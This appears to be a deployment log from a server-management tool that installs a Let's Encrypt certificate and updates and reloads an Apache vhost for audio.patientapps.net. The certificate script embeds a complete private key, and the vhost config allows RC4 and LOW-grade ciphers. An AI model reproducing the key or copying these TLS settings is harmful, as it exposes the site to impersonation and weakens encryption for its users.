NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-09-26 06:01:16: Establishing a connection
2025-09-26 06:01:16: Establishing a connection
2025-09-26 06:01:16: 

PUT: /tmp/pkp209610

#!/bin/bash
if [ -d "/var/www/patientapps_audio/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-26 06:01:17: 

chmod 755 /tmp/pkp209610; /tmp/pkp209610; rm /tmp/pkp209610

2025-09-26 06:01:17: 


0


2025-09-26 06:01:42: Establishing a connection
2025-09-26 06:01:42: 

PUT: /tmp/pkp412702

#!/bin/bash
temp_file=$(mktemp)
TARGET=40d152ed4fc15024fe57db1999e289aa.crt

cat > $temp_file <<'endmsg'
89:44:52:ed:da:bd:11:8a:24:82:9b:83:05:de:42:90

-----BEGIN CERTIFICATE-----
MIIFBzCCA++gAwIBAgISBX2krgFoAbKPivZmUNZNvmKqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTI2MDUwMzExWhcNMjUxMjI1MDUwMzEwWjAgMR4wHAYDVQQD
ExVhdWRpby5wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQC4lXjUDepryOMcatxWcWiAtSk8WVB9mJ3ASAVECZC5xKi6z6hBwDoY
elZGUyt0nQcLh8CqxbZyDgFvXfdTeegCDUOfDRPfzV2M+k6RZqnNdFJzmAAEf7g/
x55B85qD4mhYVmyjCVwsbeRQ0S1xrNgkTC2NuQ1CMFLucb7Co0mxrIfObtDxx5d9
1ZwOm4mmET3+X7TmZkIsv6IzVhXZmxuD0ECvMKkEJU97+JAgKg4n4UWt0ZRNAThP
n+W/TB18RrjQaai3tQ+DBbv6aa9G0Cxc+mCm6TQ8y1107Fxt6+JvHIWcfIE2DQmd
1zxtCBPLEA/Xmqz6tqgZ5RyeIb44MNntAgMBAAGjggImMIICIjAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFLwQtA19Fa8BNX27RoxxduFh/sKEMB8GA1UdIwQYMBaAFAC1
KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIAYDVR0RBBkwF4IVYXVkaW8ucGF0aWVu
dGFwcHMubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNDMuY3JsMIIBBQYKKwYBBAHWeQIEAgSB
9gSB8wDxAHYAEvFONL1TckyEBhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGZhJzw
zwAABAMARzBFAiAwtKtRjFqxKgWQc03RYnYgQymrtH1UiTKA8tpt3ihPygIhAJDf
IcyS+7iP1uCMec5f34d1r/nIdUQ/LEzAlSxJaO8yAHcAGYbUxyiqb/66A294Kk0B
karOLXIxD67OXXBBLSVMx9QAAAGZhJzw1AAABAMASDBGAiEAr0rIn9FToQX0aKGt
D8HLuZLxcLnDBy0mWy6JzfpObkACIQDM1PWSN7uuCeXD1CRdKygIMq2DFKNWnd+e
u3IWl4xwFzANBgkqhkiG9w0BAQsFAAOCAQEAmMdkzr+YYxeWK/IU/J7trOK0cf1G
WVjwaBF5Fjmde34UCfSPobX5VsYSYp76uEbMPmHcsWMoywEsseEO2mR37KHmAJ4i
uzaltCjW3eojUW4+sFex8DDPFYdTj02XI+619xnbtLxNWuR9PdyAC4/Qc9u9pPQw
iUUuiFZ4HaQZQH4fnucXRAtw2kvUxnhvPWkqTJBELZzshg7y+WgYRFNkq2WanHlo
fl7/5aDgP431M9XfDbGoV7E3tMCtVDHm4AWtd9oKM1Eq/OnNWX+KAvBV4T0zlC+S
f+pxtXLAnfIBAPp6RdaYFEQx04dZ6pL+xXezy1tMhZ3RJjDL7U32pu3dCw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC4lXjUDepryOMc
atxWcWiAtSk8WVB9mJ3ASAVECZC5xKi6z6hBwDoYelZGUyt0nQcLh8CqxbZyDgFv
XfdTeegCDUOfDRPfzV2M+k6RZqnNdFJzmAAEf7g/x55B85qD4mhYVmyjCVwsbeRQ
0S1xrNgkTC2NuQ1CMFLucb7Co0mxrIfObtDxx5d91ZwOm4mmET3+X7TmZkIsv6Iz
VhXZmxuD0ECvMKkEJU97+JAgKg4n4UWt0ZRNAThPn+W/TB18RrjQaai3tQ+DBbv6
aa9G0Cxc+mCm6TQ8y1107Fxt6+JvHIWcfIE2DQmd1zxtCBPLEA/Xmqz6tqgZ5Rye
Ib44MNntAgMBAAECggEBAKs5rN45Em5t6Y+g6Uge56wNYXUj/PClNCD8LjZRETni
Xgr9Or3TjZDLW2DdIgCI8dIWWfmQcpAWweoHJrj+6uOMXmAah4ciQFfYki17KKT3
9MxaAhoqSEaR7BKN4ZXZ3qWjdh8/PYvRXOxDPn6msdHqAI/pS41MuoGKbkSrqF7x
c6j+iokO+OjnsijzyVfkbrc471VXGf9G6wj8RXCOmxMnEaPN9xJjBww26ylS8+DN
Gw2XeHSN7MA7GtpQEiF74dS1A47wJigRvQ6A6R7v8ORi9DWWGiba6HDDmo16S/Ex
WHDueOC1gHMOpTS276BlzoRucY6l3MHFTHHKFN5oLIECgYEA3K3eADUc3qbtC0bM
6ZWKhcI9uTDbnQ+MDGEpTUFCMnf/uxnUkOJ2WLnFZ4Ump7iuoDOm0LSiKyVJ/pOz
aBogdO15+GHyl3Tfl4xvQqV2nOezF1bsB7t6qaCpRJZ919Ahl0CofzN2//SWr48o
m4PPtdGXV4kZWvpGT3a91pc9lTECgYEA1iCh2K41ZZtFQr+/Y4mvNaNgypMgwEGW
rymwjPKlhHB459Z/Cpibw67dA4gHpetodn0ULSWFPTp49XB995keelKzFXTuJg8T
amxAeqlp3amP6giNoImuoFNQfscUU1rEFLX2txnUMd1nfe/4kMwXlfx+A/DN324W
NuCrYxDy0X0CgYAxujw8b7uBsLvZvqqOOFRur8aY5JmYWtiEMaDM99ei58eIsdlk
jKN+et4w5aBASy2OjBUbEpk4f76cz0uuObT2pEzH28p+tqdrzwmDSyXfVZbVu5CU
bXrGnp2GByN0bkIjgz5063P1WXhbNzc/VASKRCCGaS59gcg2P9unb41BAQKBgQCS
v+yL5uDbkO2H0IgnfK4isaTdULYqbQkLZSQFhSqguMB0C1In/e0K0GXSTMEJGmwO
gKx6QHOvQcqyU3VRYpQ7uz/W3bt1Q/HHhwctybuvWc0y1MfTlWijolXRfTjV46fs
lcTPOhluT1HlQrh07BriBRiMNNWzYexBkfqDu5LetQKBgERJY+29pttLDldwLRuj
+kKmB3E27oZhDAHTkwJ1tAaGuTo9YSXpEAyFPbO0frmCO5KVwhoFKuyqeMURkawa
pLdwCNDKpaqqw42oaiT0V1nXJPHTxqcwqyLnRY53FYNCqSAITIZeVGjOy3qvtzrf
w+F7pbNr6zsD7r2xAxWcZf5V
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-26 06:01:42: 

chmod 755 /tmp/pkp412702; /tmp/pkp412702; rm /tmp/pkp412702

2025-09-26 06:01:42: 


dir=/etc/ssl/certs


2025-09-26 06:01:42: 

PUT: /tmp/pkp517799

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_audio_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-26 06:01:42: 

chmod 755 /tmp/pkp517799; /tmp/pkp517799; rm /tmp/pkp517799

2025-09-26 06:01:42: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_audio_net.conf 45

<VirtualHost *:80>
    ServerName	audio.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_audio
    <Directory /var/www/patientapps_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/audio_access.log combined
    ErrorLog	/var/log/apache2/patientapps/audio_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.3-sii.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	audio.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt
    DocumentRoot	/var/www/patientapps_audio
    <Directory /var/www/patientapps_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/audio_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/audio_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>






2025-09-26 06:01:42: 

PUT: /tmp/pkp698982

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_audio_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_audio_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	audio.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_audio
    <Directory /var/www/patientapps_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/audio_access.log combined
    ErrorLog	/var/log/apache2/patientapps/audio_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.3-sii.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	audio.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt
    DocumentRoot	/var/www/patientapps_audio
    <Directory /var/www/patientapps_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/audio_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/audio_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_audio_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_audio_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_audio_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_audio_net.conf= 1'
fi


2025-09-26 06:01:42: 

chmod 755 /tmp/pkp698982; /tmp/pkp698982; rm /tmp/pkp698982

2025-09-26 06:01:42: 




2025-09-26 06:01:42: 

PUT: /tmp/pkp413694

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-26 06:01:43: 

chmod 755 /tmp/pkp413694; /tmp/pkp413694; rm /tmp/pkp413694

2025-09-26 06:01:43: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-26 06:01:43: Establishing a connection
2025-09-26 06:01:43: 

PUT: /tmp/pkp652423

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-26 06:01:43: 

chmod 755 /tmp/pkp652423; /tmp/pkp652423; rm /tmp/pkp652423

2025-09-26 06:01:43: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
